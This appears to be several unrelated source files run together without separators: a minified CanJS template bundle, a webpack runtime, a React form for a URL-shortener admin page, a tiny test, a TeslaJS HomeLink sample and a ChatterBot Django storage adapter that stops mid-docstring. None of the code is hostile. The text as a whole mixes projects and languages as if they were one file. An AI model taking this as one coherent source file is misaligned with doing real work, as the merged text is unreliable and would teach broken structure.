if(e.comment&&(l=c.createComment(e.comment),e.callbacks))for(m=0,p=e.attributes.length;p>m;m++)b().callbacks.push({callback:e.callbacks[m]})}else"string"===h?l=c.createTextNode(e):"function"===h&&(u?(l=c.createTextNode(""),b().callbacks.push({callback:e})):(l=c.createComment("~"),b().callbacks.push({callback:function(){var n=c.createTextNode("");return t.replace([this],n),e.apply(n,arguments)}})));return l}function c(e,t,n){for(var a=t.path,r=t.callbacks,l=t.paths,o=e,u=a?a.length:0,d=l?l.length:0,i=0;u>i;i++)o=o.childNodes.item(a[i]);for(i=0;d>i;i++)c(o,l[i],n);n.push({element:o,callbacks:r})}function r(e,t){for(var n,a,c,r=e.length,l=0;r>l;l++){c=e[l],n=c.callbacks.length,a=c.element;for(var o=0;n>o;o++)c.callbacks[o].callback.apply(a,t)}}function l(t,n){var a=[],l=o(t,a,[],n||e.global.document);return{paths:a,clone:l,hydrate:function(){for(var t=m(this.clone),n=e.makeArray(arguments),l=[],o=0;o<a.length;o++)c(t,a[o],l);return r(l,n),t}}}var o=function(e,t,n,c){for(var r=c.createDocumentFragment(),l=0,o=e.length;o>l;l++){var u=e[l];r.appendChild(a(u,t,n.concat(l),c))}return r},u="undefined"!=typeof document&&function(){var t=document.createDocumentFragment(),n=document.createElement("div");n.appendChild(document.createTextNode("")),n.appendChild(document.createTextNode("")),t.appendChild(n);var a=t.cloneNode(!0);return 2===e.childNodes(a.firstChild).length}(),d="undefined"!=typeof document&&function(){var e=document.createElement("a");e.innerHTML="<xyz></xyz>";var t=e.cloneNode(!0);return"<xyz></xyz>"===t.innerHTML}(),i="undefined"!=typeof document&&!!document.createElementNS,s=e.attr.setAttribute,m=d?function(e){return e.cloneNode(!0)}:function(t){var n;if(1===t.nodeType?n=document.createElement(t.nodeName):3===t.nodeType?n=document.createTextNode(t.nodeValue):8===t.nodeType?n=document.createComment(t.nodeValue):11===t.nodeType&&(n=document.createDocumentFragment()),t.attributes){var a=e.makeArray(t.attributes);e.each(a,function(e){e&&e.specified&&s(n,e.nodeName,e.nodeValue)})}return t.childNodes&&e.each(t.childNodes,function(e){n.appendChild(m(e))}),n};return l.keepsTextNodes=u,e.view.target=l,l}); /*can/view/stache/mustache_core*/ define("can/view/stache/mustache_core",["can/util/util","can/view/stache/utils","can/view/stache/mustache_helpers","can/view/stache/expression","can/view/live/live","can/view/elements","can/view/scope/scope","can/view/node_lists/node_lists"],function(e,n,t,r,i,a,s,o){i=i||e.view.live,a=a||e.view.elements,s=s||e.view.Scope,o=o||e.view.nodeLists;var u=/(?:(?:^|(\r?)\n)(\s*)(\{\{([^\}]*)\}\}\}?)([^\S\n\r]*)($|\r?\n))|(\{\{([^\}]*)\}\}\}?)/g,c=function(n,t,r,i){for(var a=(e.document||e.global.document).createDocumentFragment(),s=0,o=n.length;o>s;s++)l(a,r.fn(t?n.attr(""+s):n[s],i));return a},l=function(e,n){n&&e.appendChild("string"==typeof n?e.ownerDocument.createTextNode(n):n)},p=function(e,n,t,r){for(var i="",a=0,s=e.length;s>a;a++)i+=t.fn(n?e.attr(""+a):e[a],r);return i},f=function(){},v={expression:r,makeEvaluator:function(t,i,a,s,o,u,l,f){if("^"===s){var v=u;u=l,l=v}var h,d;if(o instanceof r.Call){if(d={fn:function(){},inverse:function(){},context:t.attr("."),scope:t,nodeList:a,exprData:o,helpersScope:i},n.convertToScopes(d,t,i,a,u,l,f),h=o.value(t,i,d),o.isHelper)return h}else{var m={isArgument:!0,args:[t.attr("."),t],asCompute:!0},g=o.helperAndValue(t,i,m,a,u,l,f),w=g.helper;if(h=g.value,w)return o.evaluator(w,t,i,m,a,u,l,f)}return s?"#"===s||"^"===s?(d={fn:function(){},inverse:function(){}},n.convertToScopes(d,t,i,a,u,l,f),function(){var r;if(r=e.isFunction(h)&&h.isComputed?h():h,"function"==typeof r)return r;if(n.isArrayLike(r)){var a=n.isObserveLike(r);return(a?r.attr("length"):r.length)?(f?p:c)(r,a,d,i):d.inverse(t,i)}return r?d.fn(r||t,i):d.inverse(t,i)}):void 0:h&&h.isComputed?h:function(){return""+(null!=h?h:"")}},makeLiveBindingPartialRenderer:function(n,t){return n=e.trim(n),function(r,a,s){var u=[this];u.expression=">"+n,o.register(u,null,s||!0,t.directlyNested);var c=e.compute(function(){var t,i=n,s=a.attr("partials."+i);if(s)t=function(){return s.render?s.render(r,a,u):s(r,a)};else{var o=r.read(i,{isArgument:!0}).value;if(null===o||!o&&"*"===i[0])return e.frag("");o&&(i=o),t=function(){return e.isFunction(i)?i(r,a,u):e.view.render(i,r,a,u)}}var c=e.__notObserve(t)();return e.frag(c)});c.computeInstance.setPrimaryDepth(u.nesting),i.html(this,c,this.parentNode,u)}},makeStringBranchRenderer:function(e,n){var t=v.expression.parse(n),i=e+n;return t instanceof r.Helper||t instanceof r.Call||(t=new r.Helper(t,[],{})),function(n,r,a,s){var o=n.__cache[i];(e||!o)&&(o=h(n,r,null,e,t,a,s,!0),e||(n.__cache[i]=o));var u=o();return null==u?"":""+u}},makeLiveBindingBranchRenderer:function(n,t,s){var u=v.expression.parse(t);return u instanceof r.Helper||u instanceof r.Call||(u=new r.Helper(u,[],{})),function(r,c,l,p,v){var d=[this];d.expression=t,o.register(d,null,l||!0,s.directlyNested);var m,g=h(r,c,d,n,u,p,v,s.tag),w=g.isComputed;m=w?g:e.compute(g,null,!1),m.computeInstance.setPrimaryDepth(d.nesting),m.computeInstance.bind("change",f);var x=m();"function"==typeof x?e.__notObserve(x)(this):w||m.computeInstance.hasDependencies?s.attr?i.simpleAttribute(this,s.attr,m):s.tag?i.attributes(this,m):s.text&&"object"!=typeof x?i.text(this,m,this.parentNode,d):i.html(this,m,this.parentNode,d):s.attr?e.attr.set(this,s.attr,x):s.tag?i.setAttributes(this,x):s.text&&"string"==typeof x?this.nodeValue=x:null!=x&&a.replace([this],e.frag(x,this.ownerDocument)),m.computeInstance.unbind("change",f)}},splitModeFromExpression:function(n,t){n=e.trim(n);var r=n.charAt(0);return"#/{&^>!".indexOf(r)>=0?n=e.trim(n.substr(1)):r=null,"{"===r&&t.node&&(r=null),{mode:r,expression:n}},cleanLineEndings:function(e){return e.replace(u,function(e,n,t,r,i,a,s,o,u,c){a=a||"",n=n||"",t=t||"";var l=d(i||u,{});return o||">{".indexOf(l.mode)>=0?e:"^#!/".indexOf(l.mode)>=0?r+(0!==c&&s.length?n+"\n":""):t+r+a+(t.length||0!==c?n+"\n":"")})},Options:n.Options},h=v.makeEvaluator,d=v.splitModeFromExpression;return e.view.mustacheCore=v,v}); /*can/view/stache/html_section*/ define("can/view/stache/html_section",["can/util/util","can/view/target/target","can/view/stache/utils","can/view/stache/mustache_core"],function(t,e,n,i){var a="undefined"!=typeof document&&function(){var t=document.createElement("div");return function(e){return-1===e.indexOf("&")?e.replace(/\r\n/g,"\n"):(t.innerHTML=e,0===t.childNodes.length?"":t.childNodes.item(0).nodeValue)}}(),s=function(){this.stack=[new r]};t.extend(s.prototype,n.mixins),t.extend(s.prototype,{startSubSection:function(t){var e=new r(t);return this.stack.push(e),e},endSubSectionAndReturnRenderer:function(){if(this.last().isEmpty())return this.stack.pop(),null;var e=this.endSection();return t.proxy(e.compiled.hydrate,e.compiled)},startSection:function(t){var e=new r(t);this.last().add(e.targetCallback),this.stack.push(e)},endSection:function(){return this.last().compile(),this.stack.pop()},inverse:function(){this.last().inverse()},compile:function(){var e=this.stack.pop().compile();return function(n,a,s){return n instanceof t.view.Scope||(n=t.view.Scope.refsScope().add(n||{})),a instanceof i.Options||(a=new i.Options(a||{})),e.hydrate(n,a,s)}},push:function(t){this.last().push(t)},pop:function(){return this.last().pop()}});var r=function(e){this.data="targetData",this.targetData=[],this.targetStack=[];var n=this;this.targetCallback=function(i,a,s){e.call(this,i,a,s,t.proxy(n.compiled.hydrate,n.compiled),n.inverseCompiled&&t.proxy(n.inverseCompiled.hydrate,n.inverseCompiled))}};return t.extend(r.prototype,{inverse:function(){this.inverseData=[],this.data="inverseData"},push:function(t){this.add(t),this.targetStack.push(t)},pop:function(){return this.targetStack.pop()},add:function(e){"string"==typeof e&&(e=a(e)),this.targetStack.length?t.last(this.targetStack).children.push(e):this[this.data].push(e)},compile:function(){return this.compiled=e(this.targetData,t.document||t.global.document),this.inverseData&&(this.inverseCompiled=e(this.inverseData,t.document||t.global.document),delete this.inverseData),this.targetStack=this.targetData=null,this.compiled},children:function(){return this.targetStack.length?t.last(this.targetStack).children:this[this.data]},isEmpty:function(){return!this.targetData.length}}),s.HTMLSection=r,s}); /*can/view/stache/live_attr*/ define("can/view/stache/live_attr",["can/util/util","can/view/live/live","can/view/elements","can/view/callbacks/callbacks"],function(e,t,i,n){return t=t||e.view.live,i=i||e.view.elements,n=n||e.view.callbacks,{attributes:function(a,c,r,l){var v={},o=function(c){var o,u=t.getAttributeParts(c);for(o in u){var s=u[o],b=v[o];if(s!==b){e.attr.set(a,o,s);var f=n.attr(o);f&&f(a,{attributeName:o,scope:r,options:l})}delete v[o]}for(o in v)i.removeAttr(a,o);v=u},u=function(e,t){o(t)};c.bind("change",u),e.bind.call(a,"removed",function(){c.unbind("change",u)}),o(c())}}}); /*can/view/stache/text_section*/ define("can/view/stache/text_section",["can/util/util","can/view/live/live","can/view/stache/utils","can/view/stache/live_attr"],function(t,e,n,i){e=e||t.view.live;var s=function(){this.stack=[new c]};t.extend(s.prototype,n.mixins),t.extend(s.prototype,{startSection:function(t){var e=new c;this.last().add({process:t,truthy:e}),this.stack.push(e)},endSection:function(){this.stack.pop()},inverse:function(){this.stack.pop();var t=new c;this.last().last().falsey=t,this.stack.push(t)},compile:function(n){var s=this.stack[0].compile();return function(a,c){var r=t.compute(function(){return s(a,c)},null,!1);r.computeInstance.bind("change",t.k);var u=r();r.computeInstance.hasDependencies?(n.textContentOnly?e.text(this,r):n.attr?e.simpleAttribute(this,n.attr,r):i.attributes(this,r,a,c),r.computeInstance.unbind("change",t.k)):n.textContentOnly?this.nodeValue=u:n.attr?t.attr.set(this,n.attr,u):e.setAttributes(this,u)}}});var a=function(t,e,n){return function(i,s){return t.call(this,i,s,e,n)}},c=function(){this.values=[]};return t.extend(c.prototype,{add:function(t){this.values.push(t)},last:function(){return this.values[this.values.length-1]},compile:function(){for(var t=this.values,e=t.length,n=0;e>n;n++){var i=this.values[n];"object"==typeof i&&(t[n]=a(i.process,i.truthy&&i.truthy.compile(),i.falsey&&i.falsey.compile()))}return function(n,i){for(var s,a="",c=0;e>c;c++)s=t[c],a+="string"==typeof s?s:s.call(this,n,i);return a}}}),s}); /*can/view/import/import*/ define("can/view/import/import",["can/util/util","can/view/callbacks/callbacks"],function(e){e.view.tag("can-import",function(t,a){var i,o=e.$(t),d=t.getAttribute("from"),n=a.options.attr("helpers.module"),r=n?n.id:void 0;i=d?e["import"](d,r):e.Deferred().reject("No moduleName provided").promise();var s=a.scope.attr("%root");s&&e.isFunction(s.waitFor)&&s.waitFor(i),e.data(o,"viewModel",i),e.data(o,"scope",i);var c=a.scope.add(i),p=t.getAttribute("can-tag");if(p){var v=e.view.tag(p);e.data(o,"preventDataBindings",!0),v(t,e.extend(a,{scope:c})),e.data(o,"preventDataBindings",!1),e.data(o,"viewModel",i),e.data(o,"scope",i)}else{var l=a.subtemplate?a.subtemplate(c,a.options):document.createDocumentFragment(),u=e.view.nodeLists.register([],void 0,!0);e.one.call(t,"removed",function(){e.view.nodeLists.unregister(u)}),e.appendChild(t,l,e.document),e.view.nodeLists.update(u,e.childNodes(t))}})}); /*can/view/stache/intermediate_and_imports*/ define("can/view/stache/intermediate_and_imports",["can/view/stache/mustache_core","can/view/parser/parser","can/view/import/import"],function(t,n){return function(r){var a=t.cleanLineEndings(r),e=[],i=[],o={},c=!1,s=!1,p=!1,m=!1,u="",f="",d=n(a,{start:function(t,n){m=n,"can-import"===t?c=!0:c&&(c=!1)},attrStart:function(t){"from"===t?s=!0:("as"===t||"export-as"===t)&&(p=!0)},attrEnd:function(t){"from"===t?s=!1:("as"===t||"export-as"===t)&&(p=!1)},attrValue:function(t){s&&c?(e.push(t),m||i.push(t),f=t):p&&c&&(u=t)},end:function(t){"can-import"===t&&u&&(o[u]=f,u="")},close:function(t){"can-import"===t&&e.pop()}},!0);return{intermediate:d,imports:e,dynamicImports:i,ases:o,exports:o}}}); /*can/view/stache/stache*/ define("can/view/stache/stache",["can/util/util","can/view/parser/parser","can/view/target/target","can/view/stache/html_section","can/view/stache/text_section","can/view/stache/mustache_core","can/view/stache/mustache_helpers","can/view/stache/intermediate_and_imports","can/view/callbacks/callbacks","can/view/bindings/bindings"],function(t,e,n,a,i,o,s,c,r){function d(n){"string"==typeof n&&(n=o.cleanLineEndings(n));var s=new a,c={node:null,attr:null,sectionElementStack:[],text:!1,namespaceStack:[],textContentOnly:null},d=function(t,e,n){if(">"===e)t.add(o.makeLiveBindingPartialRenderer(n,u()));else if("/"===e)t.endSection(),t instanceof a&&c.sectionElementStack.pop();else if("else"===e)t.inverse();else{var i=t instanceof a?o.makeLiveBindingBranchRenderer:o.makeStringBranchRenderer;"{"===e||"&"===e?t.add(i(null,n,u())):"#"===e||"^"===e?(t.startSection(i(e,n,u())),t instanceof a&&c.sectionElementStack.push("section")):t.add(i(null,n,u({text:!0})))}},u=function(e){var n=c.sectionElementStack[c.sectionElementStack.length-1],a={tag:c.node&&c.node.tag,attr:c.attr&&c.attr.name,directlyNested:c.sectionElementStack.length?"section"===n||"custom"===n:!0,textContentOnly:!!c.textContentOnly};return e?t.simpleExtend(a,e):a},f=function(t,e){t.attributes||(t.attributes=[]),t.attributes.unshift(e)};return e(n,{start:function(e,n){var a=l[e];a&&!n&&c.namespaceStack.push(a),c.node={tag:e,children:[],namespace:a||t.last(c.namespaceStack)}},end:function(t,e){var n=r.tag(t);e?(s.add(c.node),n&&f(c.node,function(e,n,a){r.tagHandler(this,t,{scope:e,options:n,subtemplate:null,templateType:"stache",parentNodeList:a})})):(s.push(c.node),c.sectionElementStack.push(n?"custom":t),n?s.startSubSection():p[t]&&(c.textContentOnly=new i)),c.node=null},close:function(t){var e=l[t];e&&c.namespaceStack.pop();var n,a=r.tag(t);a&&(n=s.endSubSectionAndReturnRenderer()),p[t]&&(s.last().add(c.textContentOnly.compile(u())),c.textContentOnly=null);var i=s.pop();a&&f(i,function(e,a,i){r.tagHandler(this,t,{scope:e,options:a,subtemplate:n,templateType:"stache",parentNodeList:i})}),c.sectionElementStack.pop()},attrStart:function(t){c.node.section?c.node.section.add(t+'="'):c.attr={name:t,value:""}},attrEnd:function(t){if(c.node.section)c.node.section.add('" ');else{c.node.attrs||(c.node.attrs={}),c.node.attrs[c.attr.name]=c.attr.section?c.attr.section.compile(u()):c.attr.value;var e=r.attr(t);e&&(c.node.attributes||(c.node.attributes=[]),c.node.attributes.push(function(n,a,i){e(this,{attributeName:t,scope:n,options:a,nodeList:i})})),c.attr=null}},attrValue:function(t){var e=c.node.section||c.attr.section;e?e.add(t):c.attr.value+=t},chars:function(t){(c.textContentOnly||s).add(t)},special:function(t){var e=o.splitModeFromExpression(t,c),n=e.mode,a=e.expression;if("else"===a){var r;return r=c.attr&&c.attr.section?c.attr.section:c.node&&c.node.section?c.node.section:c.textContentOnly||s,void r.inverse()}if("!"!==n)if(c.node&&c.node.section)d(c.node.section,n,a),0===c.node.section.subSectionDepth()&&(c.node.attributes.push(c.node.section.compile(u())),delete c.node.section);else if(c.attr)c.attr.section||(c.attr.section=new i,c.attr.value&&c.attr.section.add(c.attr.value)),d(c.attr.section,n,a);else if(c.node)if(c.node.attributes||(c.node.attributes=[]),n){if("#"!==n&&"^"!==n)throw new Error(n+" is currently not supported within a tag.");c.node.section||(c.node.section=new i),d(c.node.section,n,a)}else c.node.attributes.push(o.makeLiveBindingBranchRenderer(null,a,u()));else d(c.textContentOnly||s,n,a)},comment:function(t){s.add({comment:t})},done:function(){}}),s.compile()}e=e||t.view.parser,t.view.parser=e,r=r||t.view.callbacks;var u="http://www.w3.org/2000/svg",l={svg:u,g:u},p={style:!0,script:!0},f={"\n":"\\n","\r":"\\r","\u2028":"\\u2028","\u2029":"\\u2029"},m=function(t){return(""+t).replace(/["'\\\n\r\u2028\u2029]/g,function(t){return"'\"\\".indexOf(t)>=0?"\\"+t:f[t]})};return t.view.register({suffix:"stache",contentType:"x-stache-template",fragRenderer:function(t,e){return d(e)},script:function(t,e){return'can.stache("'+m(e)+'")'}}),t.view.ext=".stache",t.extend(t.stache,s),t.extend(d,s),t.stache.safeString=d.safeString=function(t){return{toString:function(){return t}}},t.stache.async=function(e){var n=c(e),a=t.map(n.imports,function(e){return t["import"](e)});return t.when.apply(t,a).then(function(){return d(n.intermediate)})},d}); /*can/map/app/app*/ define("can/map/app/app",["can/util/util","can/map/map","can/compute/compute"],function(t){function e(e){if(null==e)return e;var a={},n=[];for(var i in e)n.push(i);return n.sort(),t.each(n,function(t){a[t]=e[t]}),JSON.stringify(a)}return t.AppMap=t.Map.extend({setup:function(){if(t.Map.prototype.setup.apply(this,arguments),this.__readyPromises=[],this.__pageData={},"undefined"!=typeof System&&System.has("asset-register")){var e=System.get("asset-register")["default"],a=this;e("inline-cache",function(){var t=document.createElement("script"),e=document.createTextNode("\nINLINE_CACHE = "+JSON.stringify(a.__pageData)+";\n");return t.appendChild(e),t})}},waitFor:function(t){return this.__readyPromises.push(t),t},pageData:t.__notObserve(function(a,n,i){function r(t){var i=p.__pageData[a];i||(i=p.__pageData[a]={}),i[e(n)]="function"==typeof t.serialize?t.serialize():t}var p=this;return t.isPromise(i)?(this.waitFor(i),i.then(function(t){r(t)})):r(i),i})}),t.AppMap}); /*can/view/autorender/autorender*/ "format steal";define("can/view/autorender/autorender",["can/util/util","can/map/app/app","can/util/view_model/view_model"],function(e){function t(e,t){for(;e.parentNode;)if(e=e.parentNode,e.nodeName.toLowerCase()===t.toLowerCase())return!0}function n(t,n,a){var r=e.camelize(n);c.test(r)||a.attr(r,t.getAttribute(n))}function a(t,n){t.nextSibling?e.insertBefore(t.parentNode,n,t.nextSibling):e.appendChild(t.parentNode,n)}function r(n,r,i){var o=n(r);t(i,"head")?e.appendChild(document.body,o):"script"===i.nodeName.toLowerCase()?a(i,o):(a(i,o),i.parentNode.removeChild(i))}function i(t){var a=e.viewModel(t);return e.each(t.attributes||[],function(e){n(t,e.name,a)}),e.bind.call(t,"attributes",function(e){n(t,e.attributeName,a)}),a}function o(){var t=[];e.each(e.$("[can-autorender]"),function(n,a){n.style.display="none";var o=n.innerHTML||n.text,d=n.getAttribute("type"),c=d.match(u),p=c&&c[1],s="can/view/"+p;!window.System&&window.define&&window.define.amd||(s+="/"+p),t.push(e["import"](s).then(function(t){if(t=e[p]||t,t.async)return t.async(o).then(function(e){r(e,i(n),n)});var a=t(o);r(a,i(n),n)}))}),e.when.apply(e,t).then(e.proxy(d.resolve,d),e.proxy(d.reject,d))}var d=new e.Deferred,c=/^(dataViewId|class|id|type|src)$/i,u=/\s*text\/(mustache|stache|ejs)\s*/;"complete"===document.readyState?o():e.bind.call(window,"load",o);var p=d.promise();return e.autorender=function(e,t){return p.then(e,t)},e.autorender}); /*can/view/stache/add_bundles*/ define("can/view/stache/add_bundles",["@loader","can/util/can"],function(n,e){return function(r,a){if(!r.length)return Promise.resolve();var u=n.localLoader||n,i=u.bundle;i||(i=u.bundle=[]);var l=[];return e.each(r,function(e){var r=n.normalize(e,a).then(function(n){~i.indexOf(n)||i.push(n)});l.push(r)}),Promise.all(l)}}); /*can/view/stache/system*/ "format steal";define("can/view/stache/system",["can/view/stache/stache","can/view/stache/intermediate_and_imports","can/view/stache/add_bundles"],function(e,n,t){function s(e){var s=n(e.source);return t(s.dynamicImports,e.name).then(function(){return s.imports.unshift("can/view/stache/mustache_core"),s.imports.unshift("can/view/stache/stache"),s.imports.unshift("module"),i(s.imports,s.intermediate)})}function i(e,n){return e=JSON.stringify(e),n=JSON.stringify(n),"define("+e+",function(module, stache, mustacheCore){\n var renderer = stache("+n+");\n return function(scope, options, nodeList){\n var moduleOptions = { module: module };\n if(!(options instanceof mustacheCore.Options)) {\n options = new mustacheCore.Options(options || {});\n }\n return renderer(scope, options.add(moduleOptions), nodeList);\n };\n});"}return{translate:s}}); /*can/view/mustache/system*/ "format steal";define("can/view/mustache/system",["can/view/mustache/mustache"],function(e){function t(t){return"define(['can/view/mustache/mustache'],function(can){return can.view.preloadStringRenderer('"+t.metadata.pluginArgument+"',can.Mustache(function(scope,options) { "+new e.Mustache({text:t.source,name:t.name}).template.out+" }))})"}return{translate:t}}); /*[global-shim-end]*/ !function(){window._define=window.define,window.define=window.define.orig}();
!function(e){function t(t){for(var n,f,l=t[0],i=t[1],a=t[2],c=0,s=[];c<l.length;c++)f=l[c],Object.prototype.hasOwnProperty.call(o,f)&&o[f]&&s.push(o[f][0]),o[f]=0;for(n in i)Object.prototype.hasOwnProperty.call(i,n)&&(e[n]=i[n]);for(p&&p(t);s.length;)s.shift()();return u.push.apply(u,a||[]),r()}function r(){for(var e,t=0;t<u.length;t++){for(var r=u[t],n=!0,l=1;l<r.length;l++){var i=r[l];0!==o[i]&&(n=!1)}n&&(u.splice(t--,1),e=f(f.s=r[0]))}return e}var n={},o={1:0},u=[];function f(t){if(n[t])return n[t].exports;var r=n[t]={i:t,l:!1,exports:{}};return e[t].call(r.exports,r,r.exports,f),r.l=!0,r.exports}f.m=e,f.c=n,f.d=function(e,t,r){f.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},f.r=function(e){"undefined"!==typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},f.t=function(e,t){if(1&t&&(e=f(e)),8&t)return e;if(4&t&&"object"===typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(f.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var n in e)f.d(r,n,function(t){return e[t]}.bind(null,n));return r},f.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return f.d(t,"a",t),t},f.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},f.p="/";var l=this["webpackJsonptodo-frontend"]=this["webpackJsonptodo-frontend"]||[],i=l.push.bind(l);l.push=t,l=l.slice();for(var a=0;a<l.length;a++)t(l[a]);var p=i;r()}([]); //# sourceMappingURL=runtime-main.7629e24b.js.map
import {Button, Col, Container, Form, Row} from "react-bootstrap"; import React, { useState, useRef } from "react"; import axios from 'axios'; import { useHistory } from 'react-router-dom'; import ErrorAlert from "./ErrorAlert"; import InputGroup from "react-bootstrap/InputGroup"; import { clone } from 'ramda' const AdminGetter = (props) => { const [ isLoading, setLoading ] = useState(false); const [ isCustom, setCustom ] = useState(false); const [ errorStatus, setError ] = useState({ isError: false, errorMessage: "" }) let history = useHistory(); let originalURL = useRef(); let customURL = useRef(); let checkBox = useRef(); let checkBoxHandler = () => { setCustom(!isCustom); } let resetForm = () => { setLoading(false); setCustom(false); originalURL.current.value = ""; console.log(originalURL)//.current.value = "" console.log(checkBox); } let getRefVal = (customRef) => { if(customRef.current === undefined) return " "; else return customRef.current.value; } let submitHandler = (event) => { event.preventDefault(); let newURLs = clone(props.urls); setLoading(true); console.log(originalURL.current.value); console.log(customURL); console.log(checkBox) console.log(getRefVal(customURL)); let payLoad = { originalURL: originalURL.current.value, customURL: getRefVal(customURL), wantCustomURL: isCustom, suborgName: props.category } console.log(props); axios.post('/api/suborg/url', payLoad, { withCredentials: true }) .then((response) => { console.log(response); if(response.status === 201){ let newURL = { _id: response.data.newURLData._id, suborg: response.data.newURLData.suborg, hits: response.data.newURLData.hits, createdAt: response.data.newURLData.createdAt, blacklisted: response.data.newURLData.blacklisted, email: response.data.newURLData.email, name: response.data.newURLData.name, userID: response.data.newURLData.userID, shortURLEndPoint: response.data.newURLData.shortURLEndPoint, originalURL: response.data.newURLData.originalURL, __v: response.data.newURLData.__v }; //console.log(props.managerState.URLInfo); console.log("inside req"); console.log(originalURL); console.log(customURL); // console.log(newURL); // console.log(newURLs); newURLs.unshift(newURL); // console.log(newURLs) props.set({ URLInfo: newURLs }); } resetForm(); // setLoading(false); // setCustom(false); }).catch((error) => { console.log(error); if (error.response) { console.log(error.response.data.message); console.log(error.response.status); setError({ isError: true, errorMessage: error.response.data.message }) } else{ setError({ isError: true, errorMessage: "Something went wrong!" + error.message }) } resetForm(); // setLoading(false); }) } return ( <Container> { errorStatus.isError ? <Row> <Col md={ {span: 6, offset: 3}} lg={ {span: 4, offset: 4}} sm={ {span: 10, offset:1}} xs={{span:10, offset:1}} style={{paddingLeft: "1.5rem", paddingRight: "1.5rem", paddingTop: "1.5rem", paddingBottom: "2rem", marginTop:"1rem"}}> <ErrorAlert dismiss={() => { setError({ isError: false, errorMessage: "" }) }} message={errorStatus.errorMessage}/> </Col> </Row> : null } <Row> <Col md={ {span: 6, offset: 3}} lg={ {span: 4, offset: 4}} sm={ {span: 10, offset:1}} xs={{span:10, offset:1}} style={{padding: "1.5rem", marginTop:"0.25rem", borderRadius:"1rem", border:"medium solid #093009"}}> <Form onSubmit={submitHandler}> <Form.Group controlId="categoryNameField"> <Form.Label>Original URL</Form.Label> <Form.Control type="text" placeholder="Enter Original URL" ref={originalURL}/> </Form.Group> { isCustom ? <InputGroup className="mb-3"> <InputGroup.Prepend> <InputGroup.Text id="basic-addon3"> bbsurl.in/{props.category}/ </InputGroup.Text> </InputGroup.Prepend> <Form.Control id="basic-url" aria-describedby="basic-addon3" placeholder="Custom Endpoint" maxLength={20} ref={customURL} /> </InputGroup> : null } <Form.Row> <Form.Group controlId="formBasicCheckbox"> <Form.Check type="checkbox" label="Custom URL" checked={isCustom} onChange={checkBoxHandler} ref={checkBox} /> </Form.Group> </Form.Row> <Button variant="success" style={{backgroundColor: "#093009"}} type="submit" disabled={isLoading}> {isLoading ? 'Creating…' : 'Create'} </Button> </Form> </Col> </Row> </Container> ); } export default AdminGetter;
require('proof')(1, prove) function prove (okay) { okay(require('..'), 'require') }
//===================================================================== // This sample demonstrates using TeslaJS // // https://github.com/mseminatore/TeslaJS // // Copyright (c) 2016 Mark Seminatore // // Refer to included LICENSE file for usage rights and restrictions //===================================================================== "use strict"; require('colors'); var program = require('commander'); var framework = require('./sampleFramework.js'); // // // program .option('-u, --username [string]', 'username (needed only if token not cached)') .option('-p, --password [string]', 'password (needed only if token not cached)') .option('-i, --index <n>', 'vehicle index (first car by default)', parseInt) .option('-U, --uri [string]', 'URI of test server (e.g. http://127.0.0.1:3000)') .parse(process.argv); // var sample = new framework.SampleFramework(program, sampleMain); sample.run(); // // // function sampleMain(tjs, options) { tjs.driveState(options, function (err, drive_state) { if (drive_state) { var lat = drive_state.latitude || 0; var long = drive_state.longitude || 0; var token = options.tokens[0]; tjs.homelink(options, lat, long, token, function (err, result) { if (result.result) { console.log("\nHomelink: " + "Door signaled!".bold.green); } else { console.log("\nHomelink: " + result.reason.red); } }); } else { console.log("Drive State: " + drive_state.reason.red); } }); }
from chatterbot.storage import StorageAdapter from chatterbot import constants class DjangoStorageAdapter(StorageAdapter): """ Storage adapter that allows ChatterBot to interact with Django storage backends. """ def __init__(self, **kwargs): super(DjangoStorageAdapter, self).__init__(**kwargs) self.adapter_supports_queries = False self.django_app_name = kwargs.get( 'django_app_name', constants.DEFAULT_DJANGO_APP_NAME ) def get_statement_model(self): from django.apps import apps return apps.get_model(self.django_app_name, 'Statement') def get_response_model(self): from django.apps import apps return apps.get_model(self.django_app_name, 'Response') def get_conversation_model(self): from django.apps import apps return apps.get_model(self.django_app_name, 'Conversation') def get_tag_model(self): from django.apps import apps return apps.get_model(self.django_app_name, 'Tag') def count(self): Statement = self.get_model('statement') return Statement.objects.count() def find(self, statement_text): Statement = self.get_model('statement') try: return Statement.objects.get(text=statement_text) except Statement.DoesNotExist as e: self.logger.info(str(e)) return None def filter(self, **kwargs): """ Returns a list of statements in the database that match the parameters specified. """ from django.db.models import Q Statement = self.get_model('statement') order = kwargs.pop('order_by', None) RESPONSE_CONTAINS = 'in_response_to__contains' if RESPONSE_CONTAINS in kwargs: value = kwargs[RESPONSE_CONTAINS] del kwargs[RESPONSE_CONTAINS] kwargs['in_response__response__text'] = value kwargs_copy = kwargs.copy() for kwarg in kwargs_copy: value = kwargs[kwarg] del kwargs[kwarg] kwarg = kwarg.replace('in_response_to', 'in_response') kwargs[kwarg] = value if 'in_response' in kwargs: responses = kwargs['in_response'] del kwargs['in_response'] if responses: kwargs['in_response__response__text__in'] = [] for response in responses: kwargs['in_response__response__text__in'].append(response) else: kwargs['in_response'] = None parameters = {} if 'in_response__response__text' in kwargs: value = kwargs['in_response__response__text'] parameters['responses__statement__text'] = value statements = Statement.objects.filter(Q(**kwargs) | Q(**parameters)) if order: statements = statements.order_by(order) return statements def update(self, statement): """ Update the provided statement. """ Statement = self.get_model('statement') Response = self.get_model('response') response_statement_cache = statement.response_statement_cache statement, created = Statement.objects.get_or_create(text=statement.text) statement.extra_data = getattr(statement, 'extra_data', '') statement.save() for _response_statement in response_statement_cache: response_statement, created = Statement.objects.get_or_create( text=_response_statement.text ) response_statement.extra_data = getattr(_response_statement, 'extra_data', '') response_statement.save() Response.objects.create( statement=response_statement, response=statement ) return statement def get_random(self): """ Returns a random statement from the database """ Statement = self.get_model('statement') return Statement.objects.order_by('?').first() def remove(self, statement_text): """ Removes the statement that matches the input text. Removes any responses from statements if the response text matches the input text. """ from django.db.models import Q Statement = self.get_model('statement') Response = self.get_model('response') statements = Statement.objects.filter(text=statement_text) responses = Response.objects.filter( Q(statement__text=statement_text) | Q(response__text=statement_text) ) responses.delete() statements.delete() def get_latest_response(self, conversation_id): """ Returns the latest response in a conversation if it exists. 